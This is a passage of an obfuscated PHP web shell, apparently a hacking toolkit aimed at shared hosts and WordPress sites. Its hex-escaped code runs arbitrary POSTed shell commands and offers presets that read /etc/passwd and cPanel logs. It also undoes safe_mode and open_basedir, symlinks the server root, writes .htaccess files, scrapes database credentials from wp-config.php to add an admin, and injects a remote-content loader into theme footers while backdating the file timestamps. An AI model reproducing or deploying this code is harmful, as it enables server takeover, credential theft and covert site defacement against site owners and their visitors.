"\x26\x61\155\160\73\144\x6f\75\142\171\160\x61\x73\163\163\145\162\166\x65\x72\42\x20\155\145\x74\x68\x6f\144\x3d\42\160\x6f\x73\x74\x22\76\12\11\x9\x9\11\74\143\145\156\164\x65\x72\40\x2f\76\x3c\x62\x72\40\x2f\76\12\x9\x9\11\11\x3c\150\162\76\12\11\x9\11\x9\74\150\62\x3e\102\x79\160\x61\x73\x73\x20\x53\x65\x72\x76\145\162\40\x59\x3c\57\x68\62\x3e\x3c\x62\x72\x3e"; print "\12\74\x66\157\162\x6d\40\x6d\145\x74\x68\x6f\x64\x3d\42\120\117\123\124\x22\40\141\x63\164\x69\x6f\x6e\x3d\x22\x22\x3e\74\x62\x72\x3e\74\x63\x65\x6e\x74\145\x72\76\xa\x3c\142\76\x3c\146\x6f\156\164\x20\143\157\154\x6f\x72\75\167\x68\151\x74\x65\x3e\x3c\142\x3e\74\x66\x6f\156\x74\x20\143\157\154\x6f\162\75\42\142\x6c\x61\143\x6b\42\76\x43\157\x6d\x6d\141\x6e\144\x20\x3c\57\146\157\x6e\164\76\x3c\x2f\x66\157\x6e\164\76\74\57\142\x3e\12\74\x64\151\x76\x20\x63\154\141\x73\163\40\75\40\42\143\157\x6c\x2d\x6d\144\55\x34\42\76\12\x3c\151\156\x70\165\x74\x20\x6e\x61\x6d\145\x3d\42\x62\141\x62\x61\42\40\x74\171\160\145\x3d\42\x74\x65\170\x74\42\40\x63\154\x61\163\163\x3d\42\x66\157\x72\155\x2d\143\157\x6e\x74\x72\157\154\42\x20\163\164\171\x6c\x65\75\x22\x77\x69\144\164\150\x3a\62\65\x30\x70\170\73\42\40\x73\x69\x7a\x65\x3d\x22\x33\x34\42\76\x26\x6e\142\163\160\73\12\x3c\57\144\x69\x76\76\xa\74\144\x69\166\x20\x63\154\x61\x73\163\40\75\40\42\143\157\154\55\155\x64\x2d\64\x22\x3e\12\74\151\156\160\165\x74\x20\x74\x79\160\145\x3d\42\163\x75\x62\x6d\x69\x74\x22\x20\143\154\x61\x73\x73\75\42\146\157\x72\155\55\x63\157\x6e\x74\x72\157\x6c\x22\40\x76\x61\x6c\165\145\x3d\42\145\170\145\x21\x22\40\x73\x74\171\154\x65\75\42\x77\151\144\x74\x68\72\63\65\60\x70\x78\x3b\x22\76\xa\x3c\142\162\x3e\xa\x3c\57\x64\151\x76\x3e\xa\74\57\146\x6f\162\155\76\12\x3c\x66\x6f\162\x6d\x20\155\145\x74\x68\157\144\75\42\x50\117\123\124\x22\40\x61\x63\x74\151\x6f\156\75\42\x22\x3e\x3c\163\164\x72\157\x6e\147\76\74\142\x3e\x3c\146\157\156\164\40\143\157\x6c\157\162\75\42\x62\154\x61\x63\153\42\x3e\115\145\x6e\x75\x20\x42\171\x70\x61\163\163\x3c\57\x66\157\x6e\164\76\74\57\163\164\162\157\x6e\147\76\xa\x3c\163\145\x6c\x65\143\164\x20\x6e\x61\x6d\145\75\42\154\x69\x7a\60\42\x20\x73\x69\x7a\145\75\x22\x31\x22\x20\x63\154\141\x73\163\75\42\x66\157\x72\155\55\x63\157\156\x74\x72\x6f\x6c\42\x20\163\164\x79\154\145\x3d\42\x77\151\x64\164\150\72\x32\65\x30\160\x78\x3b\42\76\xa\74\x6f\160\164\151\157\156\x20\166\141\154\x75\x65\75\42\143\141\x74\40\57\145\x74\143\x2f\160\141\x73\163\x77\x64\x22\x3e\57\145\164\x63\57\160\x61\x73\x73\167\144\74\x2f\157\x70\x74\x69\157\x6e\76\12\x3c\157\160\164\151\x6f\x6e\40\x76\x61\154\165\145\x3d\42\156\145\x74\163\x74\x61\164\x20\55\141\x6e\40\174\40\x67\x72\x65\x70\40\x2d\x69\x20\154\x69\x73\164\x65\156\x22\x3e\156\145\x74\163\164\141\x74\x3c\x2f\x6f\160\164\151\157\x6e\x3e\xa\x3c\157\x70\x74\x69\x6f\x6e\x20\166\x61\x6c\165\145\75\x22\143\x61\x74\x20\x2f\166\141\x72\57\143\160\141\156\145\154\x2f\x61\x63\143\157\x75\x6e\164\x69\x6e\147\x2e\154\157\147\42\76\57\166\x61\x72\x2f\x63\x70\141\x6e\x65\154\x2f\141\143\143\157\x75\156\x74\x69\x6e\147\x2e\x6c\x6f\x67\74\57\x6f\160\x74\151\x6f\156\x3e\12\x3c\157\160\164\x69\157\156\x20\x76\141\154\165\145\75\x22\143\141\164\x20\57\145\164\x63\x2f\163\x79\x73\x6c\157\147\x2e\143\157\156\x66\x22\x3e\x2f\x65\x74\x63\57\x73\x79\163\x6c\x6f\x67\x2e\x63\157\156\x66\74\x2f\157\x70\x74\151\157\x6e\x3e\xa\x3c\157\x70\164\x69\x6f\x6e\40\166\141\154\x75\145\75\x22\x63\141\164\40\x2f\145\x74\143\x2f\150\x6f\163\x74\163\x22\76\57\x65\164\x63\x2f\150\157\163\x74\x73\74\57\157\x70\164\x69\157\156\x3e\12\74\157\160\x74\x69\157\x6e\x20\x76\x61\154\165\x65\x3d\42\x63\141\x74\x20\x2f\145\x74\143\x2f\x6e\x61\155\x65\x64\x2e\x63\x6f\x6e\x66\x22\x3e\57\x65\x74\143\x2f\x6e\x61\x6d\x65\144\x2e\143\157\156\146\x3c\x2f\157\160\164\x69\x6f\x6e\76\xa\x3c\157\160\x74\151\x6f\156\x20\166\x61\x6c\x75\145\75\x22\143\141\x74\40\57\x65\164\143\x2f\x68\x74\164\x70\x64\57\x63\157\x6e\146\x2f\150\164\164\x70\144\56\143\x6f\156\146\42\x3e\x2f\x65\x74\143\x2f\150\x74\164\160\x64\x2f\143\x6f\156\x66\57\x68\164\164\x70\144\x2e\143\157\156\146\74\x2f\x6f\x70\x74\151\x6f\156\x3e\xa\x3c\57\163\145\x6c\x65\x63\x74\x3e\40\x3c\x62\x72\76\74\151\156\x70\165\x74\x20\x74\171\160\145\75\42\163\165\x62\155\x69\164\x22\40\x63\x6c\141\x73\163\75\42\146\x6f\162\x6d\55\143\x6f\156\x74\162\x6f\x6c\42\x20\163\x74\x79\154\145\75\x22\x77\151\x64\164\x68\72\63\65\60\x70\170\73\x22\x20\x76\141\x6c\x75\145\75\42\x42\x79\160\x61\163\x73\x21\x22\x3e\12\x3c\x2f\x66\157\x72\x6d\76\12\x3c\x68\x72\x3e\x3c\x62\162\76\74\57\x63\145\156\164\145\x72\76\xa"; ini_restore("\x73\x61\146\x65\x5f\155\157\x64\x65"); ini_restore("\157\x70\145\156\137\x62\x61\x73\145\x64\151\x72"); $liz0 = exe($_POST[baba]); $liz0zim = exe($_POST[liz0]); $uid = exe("\x69\144"); $server = exe("\165\156\141\155\145\40\x2d\x61"); echo "\x3c\x70\162\x65\76\74\x68\x34\76"; echo $liz0; echo $liz0zim; echo "\74\x2f\150\x34\76\74\x2f\x70\162\x65\x3e\x3c\x2f\x64\x69\166\76"; } elseif (isset($_GET[hex("\142\x79\160\141\x73\163\x2d\x76\x68\157\x73\164")])) { echo "\74\150\162\76\74\x66\157\x72\155\40\x6d\x65\164\x68\x6f\x64\75\47\x50\117\x53\x54\47\40\x61\143\164\x69\157\156\x3d\47\47\x3e"; echo "\74\143\x65\x6e\x74\145\x72\76\x3c\x62\162\x3e\74\x66\x6f\x6e\164\40\x73\151\x7a\145\75\47\x36\x27\x3e\102\171\160\141\x73\163\x20\123\171\x6d\x6c\x69\156\x6b\40\x76\x48\157\x73\x74\x3c\x2f\146\157\x6e\x74\76\74\x62\162\76\74\142\x72\76"; echo "\74\143\x65\x6e\x74\x65\x72\76\x3c\151\x6e\x70\165\x74\40\x74\x79\x70\145\x3d\47\x73\x75\x62\x6d\151\x74\x27\40\x76\x61\154\x75\145\x3d\47\102\171\x70\x61\x73\x73\40\151\164\x27\40\x6e\x61\x6d\145\75\47\103\x6f\154\151\151\x27\40\x63\x6c\x61\x73\163\x20\75\40\x27\146\157\162\155\55\x63\157\x6e\164\162\x6f\x6c\47\40\x73\x74\171\x6c\x65\75\x27\167\x69\x64\164\x68\x3a\x32\65\60\160\170\x3b\47\x3e\74\57\x63\145\x6e\x74\145\162\76"; if (isset($_POST["\x43\x6f\x6c\151\151"])) { exe("\x6c\x6e\40\x2d\x73\40\x2f\40\163\141\x74\x69\156\x67\x67\x61\56\x74\170\x74"); $fvckem = "\x54\63\x42\x30\141\x57\x39\165\x63\171\102\x4a\142\x6d\x52\154\x65\107\x56\172\111\105\x5a\166\142\x47\x78\166\x64\61\116\65\142\125\170\160\142\x6d\164\172\x44\x51\160\105\141\130\112\154\x59\x33\x52\166\143\x6e\154\112\142\x6d\x52\x6c\145\x43\102\172\131\x58\122\x70\142\x6d\x64\x6e\x59\x53\65\x6f\x64\107\x30\x4e\103\x6b\x46\153\132\106\x52\65\143\x47\x55\147\x64\110\x68\x30\111\103\65\x77\141\110\101\x4e\x43\x6b\106\153\132\105\x68\150\x62\155\122\x73\132\130\111\x67\144\x48\150\x30\x49\103\65\x77\141\x48\101\x3d"; $file = fopen("\56\150\164\x61\x63\x63\x65\163\163", "\x77\53"); $write = fwrite($file, b64dd($fvckem)); $Bok3p = symlink("\57", "\163\x61\x74\151\156\x67\147\x61\56\x74\170\164"); $rt = "\x3c\142\x72\76\74\141\40\x68\x72\145\x66\x3d\x73\141\164\x69\156\147\x67\x61\x2e\x74\170\164\x20\124\x41\122\x47\105\124\x3d\47\137\142\x6c\141\156\153\x27\x3e\74\x62\76\12\x9\x42\171\160\141\x73\x73\x65\x64\40\123\x75\x63\x63\x65\x73\x73\x66\165\154\x6c\x79\x3c\x2f\x62\x3e\74\x2f\141\76"; echo "\74\x62\162\76\74\x62\x72\x3e\x3c\142\x3e\104\157\156\145\x2e\56\40\x21\74\x2f\142\x3e\x3c\142\162\x3e\74\142\x72\x3e\103\150\x65\x63\153\x20\154\x69\156\153\40\147\151\166\145\156\x20\142\x65\x6c\x6f\167\40\146\x6f\x72\40\57\40\146\x6f\154\144\x65\162\x20\163\x79\x6d\x6c\x69\156\153\x20\x3c\142\162\x3e{$rt}\74\x2f\x63\145\156\164\x65\x72\76"; } echo "\74\57\146\157\x72\x6d\76\74\150\x72\x3e\74\x62\162\76"; } elseif (isset($_GET[hex("\145\x78\x70\x6c\157\x69\164\x65\162")])) { ExploitermenU($d); echo "\x3c\150\162\x3e"; } elseif (isset($_GET[hex("\x66\157\x6f\x74\x65\162")])) { echo "\x3c\x68\162\x3e\74\142\162\x3e"; $direktori = $_SERVER["\104\x4f\x43\125\115\105\x4e\x54\137\x52\117\x4f\124"]; $targetSitez = (isset($_SERVER["\110\124\124\120\x53"]) && $_SERVER["\x48\124\x54\x50\123"] === "\x6f\x6e" ? "\150\164\164\160\x73" : "\x68\x74\164\x70") . "\72\x2f\57{$_SERVER["\x48\x54\x54\120\x5f\110\117\x53\124"]}"; if (get_http_response_code($targetSitez) != "\62\x30\x30") { echo "\x3c\142\162\x3e\74\142\162\x3e\x3c\143\x65\156\164\x65\162\76\x54\x68\145\x6d\145\163\40\x57\157\162\144\x70\162\145\x73\163\72\40\x3c\163\x74\x72\x6f\156\x67\x3e\x3c\x68\x32\x3e\x57\145\x62\x73\x69\x74\x65\x20\x45\x72\x72\x6f\x72\x3c\x2f\150\x32\76\x3c\x2f\163\x74\x72\157\x6e\x67\76\x3c\57\143\145\156\x74\145\x72\x3e"; } else { $srcz = fgt($targetSitez); preg_match("\57\x2e\52\x73\164\171\154\145\x73\150\145\x65\164\56\x2a\x68\162\x65\x66\x3d\x2e\52\x5c\57\x74\x68\145\155\145\163\x5c\x2f\50\56\x2a\77\51\x5c\57\56\52\x5c\56\x63\163\x73\56\52\134\x3e\57\x69", $srcz, $matchesz); if (isset($matchesz[1])) { $styleHrefz = trim($matchesz[1]); if (isset($styleHrefz)) { echo "\x3c\142\x72\76\x3c\x62\162\76\x3c\143\x65\x6e\164\145\x72\x3e\x54\150\145\x6d\145\x73\40\x57\x6f\x72\x64\x70\162\x65\163\x73\x3a\x20\x3c\x73\x74\x72\x6f\156\147\76\x3c\x68\x32\76" . $styleHrefz . "\x3c\x2f\150\62\76\74\57\x73\x74\x72\x6f\x6e\147\76\x3c\57\x63\145\x6e\x74\145\162\76"; } else { echo "\x3c\142\x72\76\74\x62\162\x3e\74\x63\x65\x6e\164\145\x72\x3e\124\x68\145\155\x65\x73\x20\127\157\x72\144\x70\x72\145\x73\x73\72\40\74\x73\164\162\157\x6e\147\x3e\74\150\62\76\x57\145\142\163\151\x74\x65\x20\x45\x72\x72\x6f\162\x3c\x2f\150\x32\76\74\57\x73\x74\162\157\156\x67\76\x3c\x2f\143\145\156\164\145\162\76"; } echo "\74\143\145\156\164\145\x72\x3e"; $fooxer = $direktori . DIRECTORY_SEPARATOR . "\167\x70\x2d\143\157\x6e\164\x65\x6e\164" . DIRECTORY_SEPARATOR . "\164\150\x65\155\145\x73" . DIRECTORY_SEPARATOR . $styleHrefz . DIRECTORY_SEPARATOR . "\x66\157\x6f\164\145\162\56\x70\150\160"; if (file_exists($fooxer) && is_writable($fooxer)) { echo "\74\x62\162\76\106\x6f\x6f\164\145\162\x3a\x20" . $fooxer; $fooxerori = fgt($fooxer); if (strpos($fooxerori, "\163\x61\164\x69\156\147\x67\x61") === false) { $searchcar = "\74\x2f\142\x6f\x64\x79\x3e"; $replacecar = "\x50\104\x39\x77\141\x48\101\147\x61\127\131\157\141\130\x4e\146\x61\x47\x39\164\x5a\x53\x67\x70\111\110\x78\70\111\107\x6c\x7a\x58\x32\132\171\142\62\x35\x30\x58\x33\x42\x68\132\x32\125\157\113\x53\153\x67\145\171\x41\x6b\131\127\x35\150\x62\152\x31\x6d\141\127\170\x6c\130\x32\144\x6c\144\x46\x39\152\x62\x32\x35\x30\x5a\x57\x35\x30\143\x79\x67\151\x61\x48\x52\60\x63\110\x4d\x36\x4c\x79\x39\x73\x61\127\x35\162\x61\127\121\x75\x62\x33\x4a\156\114\x30\112\115\114\x7a\115\x75\144\x48\150\x30\111\x69\x6b\67\111\104\x38\53\111\104\167\57\120\x53\122\x68\x62\x6d\106\165\x4f\171\101\x2f\x50\152\x77\57\x63\x47\x68\167\x49\x48\x30\x67\120\172\64\x4e\x43\x6a\x77\57\x63\x47\x68\167\x49\x47\x6c\155\x4b\107\x6c\172\130\x33\x42\150\x5a\62\125\157\x4b\x53\153\147\145\x79\x41\x6b\x64\127\65\x6b\142\172\61\155\141\x57\170\154\130\62\x64\154\144\106\71\x6a\x62\x32\65\60\132\x57\65\x30\143\171\x67\151\141\x48\122\x30\143\110\115\x36\114\171\71\163\x61\127\x35\162\x61\127\x51\165\142\x33\112\x6e\114\x32\111\x76\x4d\x53\x35\60\x65\110\121\x69\113\x54\x73\147\120\172\x34\147\x50\104\70\x39\112\110\x56\x75\x5a\107\x38\67\111\x44\x38\x2b\120\x44\x39\167\141\110\x41\147\x66\123\101\57\x50\147\x30\113\120\x44\x39\167\141\110\101\x67\141\127\x59\x6f\141\130\116\x66\143\62\x6c\x75\x5a\62\x78\154\113\103\x6b\160\x49\110\163\147\x4a\x48\126\165\132\x47\x38\x39\132\x6d\154\163\x5a\x56\x39\156\132\130\x52\146\131\62\x39\165\x64\107\x56\165\144\x48\x4d\x6f\x49\x6d\x68\x30\x64\x48\102\172\x4f\x69\70\x76\142\x47\154\x75\141\62\154\x6b\114\x6d\x39\x79\x5a\x79\x39\151\x4c\172\111\x75\144\x48\150\60\111\151\x6b\x37\111\x44\x38\x2b\x49\x44\x77\x2f\x50\x53\122\x31\x62\155\122\x76\117\171\x41\x2f\120\x6a\167\57\143\x47\150\167\111\x48\60\x67\120\x7a\64\70\114\x32\x4a\x76\x5a\x48\153\x2b\111\x44\x77\150\x4c\x53\60\147\x63\x32\x46\60\141\127\65\x6e\x5a\62\105\147\114\123\x30\x2b"; $strcar = preg_replace("\176\56\x2a\134\x4b" . preg_quote($searchcar, "\176") . "\176\163", "\44\x31" . b64dd($replacecar), $fooxerori); echo $strcar; file_put_contents($fooxer, $strcar); @touch($fooxer, strtotime("\x2d" . rand(90, 150) . "\x20\x64\x61\x79\163", time())); } if (preg_match("\57\x73\141\x74\x69\x6e\x67\147\141\57\x69", $fooxerori)) { echo "\74\142\x72\76\x46\157\157\164\145\162\40\142\145\x68\141\163\x69\154\x20\144\x69\40\151\156\x6a\145\143\164\40\160\x61\x64\141\x3a\40\x3c\x61\x20\150\162\145\x66\75\47" . $targetSitez . "\x27\x20\x74\141\x72\x67\x65\x74\75\47\137\x62\x6c\x61\156\x6b\x27\x3e" . $targetSitez . "\74\x2f\141\76\74\x62\x72\76"; echo "\74\164\x65\170\164\x61\162\x65\x61\x20\x72\145\x61\144\157\x6e\x6c\171\76" . htmlspecialchars($fooxerori) . "\x3c\57\164\145\170\x74\141\x72\x65\141\x3e"; } else { echo "\x3c\x62\x72\x3e\111\156\x6a\x65\143\164\151\156\147\40\146\x61\x69\154\x65\144\x21\x3c\142\162\x3e"; echo "\74\164\x65\170\x74\x61\x72\145\x61\40\162\145\141\x64\157\x6e\x6c\x79\x3e" . htmlspecialchars($fooxerori) . "\74\57\164\145\170\x74\x61\162\145\x61\76"; } } else { echo "\x3c\142\162\x3e\x46\x69\x6c\x65\x20\x6e\x6f\164\40\145\x78\x69\x73\164\40\157\162\x20\x6e\157\164\40\x77\162\x69\x74\x61\x62\x6c\145\41\x3c\142\x72\76"; } echo "\74\x2f\x63\x65\156\x74\x65\162\76"; } else { echo "\74\143\145\156\164\x65\162\76\74\150\x32\76\102\165\x6b\141\156\x20\127\157\x72\144\x70\162\145\163\x73\x20\x4d\x61\163\172\145\145\x68\41\x3c\57\x68\62\x3e\x3c\57\143\x65\156\x74\145\x72\76"; } } } elseif (isset($_GET[hex("\141\x64\144\x75\163\x65\x72\x77\x70")])) { $direktorinya = $_SERVER["\104\117\103\x55\x4d\x45\x4e\124\x5f\x52\117\117\124"]; echo "\x3c\x68\162\x3e\74\142\x72\x3e"; echo "\x3c\x63\145\156\x74\x65\x72\x3e\74\x68\62\40\x73\164\171\x6c\145\x3d\x27\x63\x6f\x6c\157\162\72\x20\x67\162\x65\145\x6e\x3b\x27\x3e\x41\x64\x64\40\101\x64\x6d\x69\x6e\x20\127\157\x72\144\x70\x72\145\163\163\74\x2f\x68\62\76\74\57\143\x65\x6e\x74\x65\162\x3e"; if (empty($_POST["\x64\x62\150\157\163\x74"])) { $dbhostx = "\x49\123\x49\x20\x2e\56\x2e"; } if (empty($_POST["\144\142\165\163\145\x72"])) { $dbuserx = "\111\123\x49\x20\x2e\56\56"; } if (empty($_POST["\144\142\x70\141\x73\x73"])) { $dbpassx = "\x49\x53\111\40\x2e\56\x2e"; } if (empty($_POST["\x64\x62\156\x61\x6d\x65"])) { $dbnamex = "\111\x53\111\40\x2e\x2e\56"; } if (empty($_POST["\164\141\x62\154\x65\x5f\x70\162\145\146\x69\170"])) { $table_prefixx = "\x49\x53\111\40\x2e\56\x2e"; } echo "\74\x62\x72\76\x3c\x62\162\76\74\144\x69\x76\40\163\164\x79\154\x65\x3d\x22\167\x69\x64\x74\150\x3a\67\65\x30\x70\x78\x3b\x6d\x61\162\147\x69\156\x3a\40\141\x75\x74\157\x22\76"; echo "\74\146\x6f\162\155\x20\x61\x63\x74\151\157\x6e\75\42\42\x20\155\x65\164\x68\157\144\x3d\42\160\x6f\163\x74\x22\x3e\x3c\144\x69\166\40\x63\x6c\141\x73\163\x3d\x22\x66\x6f\162\155\x2d\x67\162\157\x75\x70\x20\162\157\x77\42\76\12\x9\x9\11\11\x9\11\74\154\141\142\145\154\40\x63\154\141\x73\163\x3d\x22\143\157\x6c\55\163\155\55\x32\40\143\x6f\x6c\55\x66\x6f\162\155\x2d\x6c\x61\142\145\154\42\76\x44\x69\162\145\x63\164\157\162\171\40\x3c\x2f\154\141\x62\x65\154\76\x3c\144\x69\x76\40\143\x6c\x61\163\x73\x3d\x22\x63\x6f\x6c\55\x73\155\55\61\60\42\x3e\x3c\151\156\x70\165\164\40\143\x6c\141\x73\x73\x3d\x22\146\x6f\x72\x6d\55\143\157\x6e\164\x72\x6f\154\42\40\x74\x79\160\145\75\42\x74\x65\x78\164\42\x20\156\141\x6d\x65\x3d\42\x64\x69\162\145\153\164\x6f\x72\151\x22\x20\x76\x61\154\165\x65\x3d\x22" . $direktorinya . "\x22\x20\163\164\x79\x6c\145\75\42\167\151\144\x74\x68\72\x20\x34\x35\60\160\x78\x3b\x22\x20\x68\x65\x69\147\150\164\75\x22\61\60\42\x3e\xa\x9\x9\x9\x9\x9\x9\74\x69\156\x70\165\x74\40\164\x79\x70\145\x3d\x22\x73\x75\x62\x6d\x69\x74\x22\40\x73\x74\x79\154\x65\75\42\x77\151\x64\x74\x68\72\40\64\x35\x30\160\170\x3b\x22\x20\x68\145\x69\x67\x68\164\x3d\42\x31\x30\42\x20\143\x6c\141\163\163\x3d\x22\x66\157\x72\155\x2d\x63\x6f\156\164\162\x6f\x6c\x22\40\x76\x61\154\165\145\75\42\x41\155\142\151\154\x20\x44\x61\164\141\142\141\163\145\40\127\120\42\40\156\141\x6d\145\x3d\x22\x63\150\145\143\153\167\160\42\40\x2f\x3e\74\57\144\151\166\76\xa\11\11\11\x9\x9\x9\x3c\57\144\151\166\76\x3c\x2f\146\x6f\162\x6d\x3e"; if (isset($_POST["\144\x69\x72\145\x6b\x74\x6f\162\151"])) { $kurator = $_POST["\x64\x69\162\145\153\x74\157\x72\x69"]; $lapor8900 = $kurator . DIRECTORY_SEPARATOR . "\167\x70\x2d\143\157\x6e\146\x69\x67\x2e\160\150\160"; if (file_exists($lapor8900)) { $cxz = fgt($lapor8900); preg_match("\57\144\145\146\x69\156\145\x2e\x2a\x44\102\137\x4e\x41\x4d\x45\x2e\x2a\47\50\56\x2a\51\47\x2f", $cxz, $mxz); $dbnamex = $mxz[1]; preg_match("\x2f\x64\145\146\x69\156\145\56\x2a\104\x42\x5f\x55\x53\x45\122\x2e\x2a\x27\x28\56\52\51\x27\57", $cxz, $mxz); $dbuserx = $mxz[1]; preg_match("\57\x64\145\146\x69\156\145\x2e\52\x44\102\x5f\x50\x41\x53\x53\127\x4f\122\104\56\52\47\50\56\52\x29\47\57", $cxz, $mxz); $dbpassx = $mxz[1]; preg_match("\x2f\144\145\146\151\156\145\x2e\52\x44\x42\x5f\110\117\x53\124\56\52\47\x28\x2e\52\51\x27\x2f", $cxz, $mxz); $dbhostx = $mxz[1]; preg_match("\57\x74\141\142\154\x65\x5f\x70\x72\x65\x66\x69\170\56\x2a\x3d\x2e\52\47\x28\56\x2a\51\47\57", $cxz, $mxm); $table_prefixx = $mxm[1]; } } $domain = $_SERVER["\123\x45\122\126\105\x52\x5f\116\101\115\105"]; $domain_solos = explode("\x2e", $domain)[0]; $domain_solo = strtoupper($domain_solos); echo "\74\146\x6f\162\155\x20\141\x63\164\151\x6f\x6e\75\42\x22\40\155\x65\164\x68\157\144\x3d\42\160\157\163\164\x22\76\xa\x9\x9\11\x9\x9\x9\74\144\151\x76\x20\143\x6c\x61\x73\163\x3d\42\146\x6f\162\x6d\x2d\147\x72\x6f\x75\160\40\162\157\x77\x22\x3e\12\x9\x9\11\11\11\40\11\74\154\x61\x62\x65\154\x20\143\154\x61\163\163\x3d\42\143\157\x6c\x2d\x73\x6d\x2d\x32\x20\143\157\x6c\x2d\x66\x6f\162\x6d\x2d\154\x61\x62\x65\x6c\42\76\104\102\40\x48\x6f\163\x74\74\57\x6c\x61\x62\145\x6c\x3e\74\144\151\x76\40\x63\x6c\x61\163\163\x3d\42\143\157\x6c\55\163\155\x2d\61\x30\x22\76\x20\x3c\151\x6e\x70\165\x74\x20\x63\x6c\141\x73\163\x3d\x22\x66\x6f\x72\155\x2d\x63\x6f\x6e\x74\x72\157\154\42\40\143\154\x61\163\x73\75\x22\x63\157\154\55\x73\x6d\55\x32\40\143\157\154\x2d\x66\x6f\162\x6d\x2d\x6c\141\x62\145\154\x22\164\x79\160\145\x3d\42\164\145\170\164\42\x20\156\x61\155\x65\75\x22\144\142\150\157\x73\x74\42\x20\x76\x61\154\x75\145\x3d\x22" . $dbhostx . "\42\x20\163\x74\x79\x6c\x65\x3d\42\167\151\x64\164\150\72\40\x34\65\60\x70\x78\x3b\42\x20\150\145\151\x67\x68\x74\75\x22\x31\x30\42\x3e\74\x2f\144\151\166\76\12\x9\x9\11\x9\11\40\11\74\57\144\151\x76\76\xa\x9\11\x9\x9\11\40\11\x3c\x64\151\166\40\143\154\141\163\163\75\x22\x66\157\x72\x6d\55\147\162\x6f\165\160\x20\162\x6f\x77\42\x3e\xa\x9\x9\11\x9\11\11\74\154\141\x62\x65\x6c\40\143\x6c\141\x73\x73\x3d\42\x63\157\154\55\163\x6d\55\62\40\x63\x6f\154\x2d\x66\157\162\155\x2d\154\141\x62\145\x6c\x22\x3e\104\x42\x20\125\163\145\x72\x20\74\57\x6c\x61\x62\x65\x6c\76\74\144\151\x76\40\x63\154\x61\163\163\75\x22\143\157\x6c\x2d\163\155\x2d\61\x30\x22\x3e\x3c\x69\156\160\165\x74\x20\x63\x6c\141\163\163\x3d\42\146\x6f\162\155\x2d\x63\x6f\156\x74\162\x6f\x6c\42\40\x74\171\x70\x65\x3d\42\x74\145\x78\164\x22\x20\x6e\141\x6d\145\x3d\x22\144\x62\165\163\x65\x72\x22\x20\166\x61\154\x75\145\75\42" . $dbuserx . "\x22\40\x73\x74\171\x6c\x65\x3d\42\167\151\x64\164\x68\72\x20\x34\x35\x30\160\170\73\42\40\150\x65\151\147\150\x74\x3d\x22\x31\60\42\x3e\74\x2f\x64\151\166\76\xa\x9\11\x9\x9\11\11\74\57\x64\151\x76\x3e\12\x9\x9\11\11\11\11\74\x64\x69\166\40\143\154\x61\x73\163\x3d\42\x66\157\162\x6d\55\x67\x72\x6f\165\160\40\x72\157\x77\x22\76\xa\x9\11\x9\x9\11\11\x3c\x6c\141\142\145\x6c\x20\143\154\141\163\163\x3d\x22\x63\157\154\x2d\163\x6d\55\x32\x20\x63\x6f\x6c\x2d\146\157\x72\x6d\x2d\154\141\x62\145\154\42\76\104\x42\40\120\x61\x73\163\167\x6f\162\x64\x20\x3c\57\154\x61\142\145\x6c\x3e\74\x64\151\166\x20\143\x6c\141\163\163\75\42\x63\x6f\154\x2d\163\155\x2d\61\x30\42\76\74\151\x6e\x70\x75\x74\x20\143\154\x61\x73\x73\75\42\146\157\162\x6d\x2d\x63\x6f\x6e\x74\162\x6f\154\x22\40\164\x79\160\145\x3d\x22\164\145\x78\x74\42\x20\x6e\141\155\x65\x3d\42\144\x62\x70\x61\163\x73\x22\x20\166\x61\x6c\x75\x65\75\42" . $dbpassx . "\42\40\x73\164\171\x6c\x65\75\42\167\x69\144\164\x68\72\40\64\65\x30\160\x78\x3b\42\40\150\145\x69\147\x68\164\x3d\x22\x31\x30\x22\x3e\x3c\x2f\x64\x69\166\x3e\12\11\x9\x9\x9\11\x9\74\57\144\x69\x76\76\12\11\11\11\x9\x9\x9\74\x64\151\x76\x20\x63\x6c\141\163\163\x3d\42\x66\x6f\x72\x6d\x2d\147\x72\x6f\165\x70\40\x72\x6f\x77\42\x3e\12\x9\11\11\x9\11\x9\x3c\x6c\x61\x62\145\x6c\x20\143\x6c\x61\163\163\x3d\42\x63\157\x6c\55\x73\x6d\x2d\x32\40\143\157\154\x2d\x66\157\162\x6d\x2d\154\141\x62\x65\x6c\42\x3e\x44\102\x20\116\141\x6d\145\x20\x3c\57\x6c\x61\142\x65\x6c\76\74\144\151\x76\40\143\154\141\x73\163\75\42\x63\157\154\x2d\x73\155\x2d\x31\60\42\76\x3c\151\156\160\x75\x74\40\143\154\141\x73\163\x3d\42\146\157\162\x6d\x2d\143\157\x6e\x74\162\x6f\x6c\x22\40\164\x79\160\x65\x3d\x22\164\145\170\x74\42\40\x6e\141\155\x65\75\x22\x64\x62\x6e\x61\x6d\x65\x22\x20\166\141\x6c\x75\x65\x3d\x22" . $dbnamex . "\42\40\163\x74\x79\x6c\x65\x3d\x22\167\x69\144\x74\150\72\40\64\65\60\160\170\73\42\40\x68\145\151\x67\150\x74\75\x22\61\60\42\x3e\74\x2f\x64\x69\x76\x3e\xa\11\x9\x9\11\11\x9\x3c\x2f\x64\x69\x76\x3e\xa\11\11\x9\11\11\11\74\144\x69\166\40\143\154\141\163\163\x3d\x22\x66\x6f\x72\x6d\55\147\162\157\165\160\40\162\x6f\x77\x22\76\12\x9\x9\11\11\11\x9\x3c\154\x61\x62\x65\154\40\143\154\x61\163\163\x3d\42\x63\157\x6c\x2d\x73\155\55\x32\x20\143\157\x6c\55\x66\x6f\x72\x6d\55\x6c\x61\x62\145\154\42\x3e\x44\x42\40\120\162\145\x66\x69\170\x20\74\57\x6c\141\142\145\154\76\74\x64\x69\166\40\143\154\141\x73\x73\x3d\42\143\x6f\154\x2d\163\155\55\61\60\x22\76\74\151\156\160\x75\164\x20\x63\154\x61\163\163\75\42\146\x6f\162\155\55\x63\x6f\x6e\x74\162\x6f\x6c\x22\40\x74\x79\x70\145\75\42\x74\145\x78\164\42\40\156\x61\155\145\75\42\164\141\142\x6c\x65\x5f\x70\162\x65\146\151\170\42\x20\166\141\154\x75\145\x3d\x22" . $table_prefixx . 